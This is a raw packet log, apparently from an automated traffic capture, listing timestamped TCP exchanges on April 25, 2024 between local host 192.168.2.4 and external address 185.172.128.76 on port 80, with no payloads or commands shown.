Apr 25, 2024 14:42:08.222815990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222829103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222855091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222889900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222893000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222903013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222933054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222939968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222971916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222980976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223011017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223030090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223047972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223086119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223110914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223110914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223134995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223159075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223206043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223210096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223248005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223277092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223326921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223377943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223431110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223515987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223553896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223561049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223598957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223654032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223692894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223712921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223730087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223747969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223778963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.223926067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223963022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.223984003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224001884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224010944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224040985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224054098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224076986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224077940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224128008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224133968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224231005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224239111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224270105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224277973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224308014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224313021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224347115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224353075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224390984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224481106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224534988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224581957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224620104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224632978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224664927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224692106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224745989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224761963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224817991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224860907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224908113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.224932909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224970102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.224977970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225012064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225017071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225058079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225085974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225123882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225136995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225169897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225195885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225234985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225244045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225275040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225281000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225313902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225325108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225352049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225358963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225397110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225424051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225471973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225495100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225537062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225543022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225574970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225583076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225616932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225622892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225656986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225661039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225696087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225702047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225733995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225743055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225771904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225780964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225811005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225817919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225847960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225858927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225887060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225891113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225925922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225929022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.225964069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.225970984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226002932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226013899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226042032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226047039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226080894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226089954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226119995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226130009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226160049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226164103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226207972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226232052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226268053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226274967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226306915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226316929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226356030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226380110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226418018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226423025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226455927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226473093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226495028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226516008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226532936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226538897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226571083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.226581097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.226618052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.277667999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.277730942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.277745962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.277775049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.277784109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.277815104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.277821064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.277863979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.278940916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.278980970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.278997898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279025078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279032946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279073000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279134989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279186964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279210091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279266119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279412031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279452085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279465914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279490948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279496908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279540062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279630899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279669046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279680014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279711008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279741049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279787064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.279933929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279974937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.279999971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280025959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280144930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280184031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280199051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280224085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280226946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280262947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280267954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280308008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280400038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280437946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280452013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280477047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280483007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280515909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280523062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280560017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280684948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280724049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280739069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280790091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.280953884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.280993938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281009912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281037092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281197071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281238079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281253099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281282902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281413078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281462908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281466007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281507969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281538963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281590939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281698942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281754017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281862020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281903982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281914949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281946898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.281950951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.281992912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282021046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282058954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282064915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282097101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282098055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282139063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282169104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282207012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282213926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282246113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282252073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282286882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282290936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282326937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282335997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282365084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282371998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282404900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282409906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282444954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282450914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282485008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282490969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282525063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282529116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282571077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282598019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282663107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282686949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282727003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282733917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282767057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282772064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282809019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282816887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282846928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282854080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282886982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282891035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282933950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.282959938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.282999039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283008099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283041000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283045053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283081055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283087969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283119917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283124924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283159018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283164978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283196926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283199072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283238888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283243895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283283949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283343077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283382893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283391953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283427000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283456087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283505917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283528090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283565044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283582926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283603907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283605099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283648014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283706903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283746004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283751965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283783913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283788919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283823013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283827066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283862114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283868074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283902884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283905029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283945084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283951044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.283984900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.283987999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284024000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284034014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284064054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284070969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284116030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284118891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284161091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284163952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284199953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284214020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284239054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284244061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284279108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284286022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284318924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284327030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284362078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284394979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284434080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284440994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284483910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284523964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284560919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.284569025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.284605980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285075903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285114050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285130024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285156012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285160065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285195112 CEST	80	49731	185.172.128.76	192.168.2.4
